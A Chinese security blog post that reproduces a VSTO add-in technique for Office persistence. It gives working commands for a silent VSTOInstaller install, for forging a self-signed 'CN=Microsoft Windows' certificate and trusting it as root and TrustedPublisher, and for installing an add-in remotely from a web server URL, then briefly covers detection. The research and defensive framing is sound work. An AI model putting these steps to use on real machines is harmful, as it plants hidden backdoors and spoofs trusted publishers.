利用 VSTO 实现的 office 后门

发布于 2024-12-05 18:41:04 字数 5055 浏览 5 评论 0

0x00 前言

最近看了一篇文章《VSTO: The Payload Installer That Probably Defeats Your Application Whitelisting Rules》,介绍了利用 VSTO 实现 Office 后门的方法,我在之前的文章 《Use Office to maintain persistence》《Office Persistence on x64 operating system》 曾对 Office 的后门进行过学习,本文将结合自己的研究心得,对该方法进行复现,分析利用思路,分享实际利用方法,最后介绍如何识别这种后门。

文章地址:https://bohops.com/2018/01/31/vsto-the-payload-installer-that-probably-defeats-your-application-whitelisting-rules/

0x01 简介

本文将要介绍以下内容:

  • VSTO 的编写方法
  • 实际利用思路
  • 后门检测

0x02 VSTO 的编写方法

1、VSTO 简介

全称 Visual Studio Tools for Office,用来定制 Office 应用程序,能够同 office 控件交互,集成在 Visual Studio 安装包中

如下图

Alt text

2、VSTO 开发

本节内容是对《VSTO: The Payload Installer That Probably Defeats Your Application Whitelisting Rules》的复现

(1) 新建工程

Visual c# -> Office -> Word 2010 外接程序

如下图

Alt text

(2) 添加代码

添加引用 System.Windows.Forms

添加弹框代码:

using System.Windows.Forms;
MessageBox.Show("1");

如下图

Alt text

(3) 编译

设置对应.Net 版本,编译,生成如下 6 个文件:

  • Microsoft.Office.Tools.Common.v4.0.Utilities.dll
  • Microsoft.Office.Tools.Common.v4.0.Utilities.xml
  • WordAddIn2.dll
  • WordAddIn2.dll.manifest
  • WordAddIn2.pdb
  • WordAddIn2.vsto

(4) 安装插件

执行 WordAddIn2.vsto

弹框提示无法验证发行者,如下图

Alt text

选择安装

查看 控制面板 -> 程序 -> 程序和功能 ,能够找到新安装的插件

 (5) 打开 word.exe,自动加载插件

弹框,如下图

Alt text

查看 Word 加载项,能够看到加载插件 WordAddIn2,如下图

Alt text

至此,成功实现 Office 后门的安装

0x03 实际利用思路

对于实际利用,首先需要满足安装过程无界面,所以要绕过弹框提示无法验证发行者,需要做如下改进:

(1) 命令行安装 VSTO 插件

使用 VSTOInstaller.exe

系统安装 Office 后包含,默认路径 %ProgramFiles%\Common Files\microsoft shared\VSTO\10.0

参数说明:

  • /i: 安装
  • /u: 卸载
  • /s: 静默操作,如果需要信任提示,将不会安装或更新自定义项

安装参数如下:

"C:\Program Files\Common Files\microsoft shared\VSTO\10.0\VSTOInstaller.exe" /i /s c:\test\WordAddIn2

由于信任提示,无法验证发行者,所以安装失败

(2) 绕过验证发行者

VSTO 插件提供签名功能,如下图

Alt text

手动生成一组签名证书,使用如下工具

  • makecert.exe
  • cert2spc.exe
  • pvk2pfx.exe
  • certmgr.exe

来自于 Windows SDK,可供参考下载的地址:https://github.com/3gstudent/signtools

生成命令:

makecert -n "CN=Microsoft Windows" -r -sv Root.pvk Root.cer
cert2spc Root.cer Root.spc
pvk2pfx -pvk Root.pvk -pi 12345678password -spc Root.spc -pfx Root.pfx -f

执行后生成 Root.cer、Root.pfx、Root.pvk、Root.spc 四个文件

替换插件 WordAddIn2 的证书,如下图

Alt text

证书注册(管理员权限):

certmgr.exe -add Root.cer -c -s -r localMachine TrustedPublisher
certmgr.exe -add -c Root.cer -s -r localmachine root

注:

需要将证书同时添加到 TrustedPublisherroot,再次安装 VSTO 插件,不会被拦截

(3) 远程安装

VSTOInstaller.exe 支持远程安装,可以将 VSTO 插件放在远程 Web 服务器上,安装参数如下:

"C:\Program Files\Common Files\microsoft shared\VSTO\10.0\VSTOInstaller.exe" /s /i http://192.168.62.131/1/WordAddIn1.vsto

综上,实际利用过程如下:

  • 生成 VSTO 插件
  • 为插件添加签名
  • 证书注册
  • 远程下载安装

0x04 后门检测

1、查看 控制面板 -> 程序 -> 程序和功能 ,是否有可疑插件

注:VSTO 插件并不会在注册表卸载配置的位置( HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\ ) 创建新键值

2、查看 Office 的 COM 加载项

注:禁用宏并不会阻止 VSTO 插件的加载

0x05 小结

本文测试了利用 VSTO 实现 Office 后门的方法,结合实际利用思路,分析检测方法

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。
列表为空,暂无数据

关于作者

无悔心

暂无简介

文章
评论
25 人气
更多

推荐作者

迎风吟唱

文章 0 评论 0

qq_hXErI

文章 0 评论 0

茶底世界

文章 0 评论 0

捎一片雪花

文章 0 评论 0

文章 0 评论 0

    我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
    原文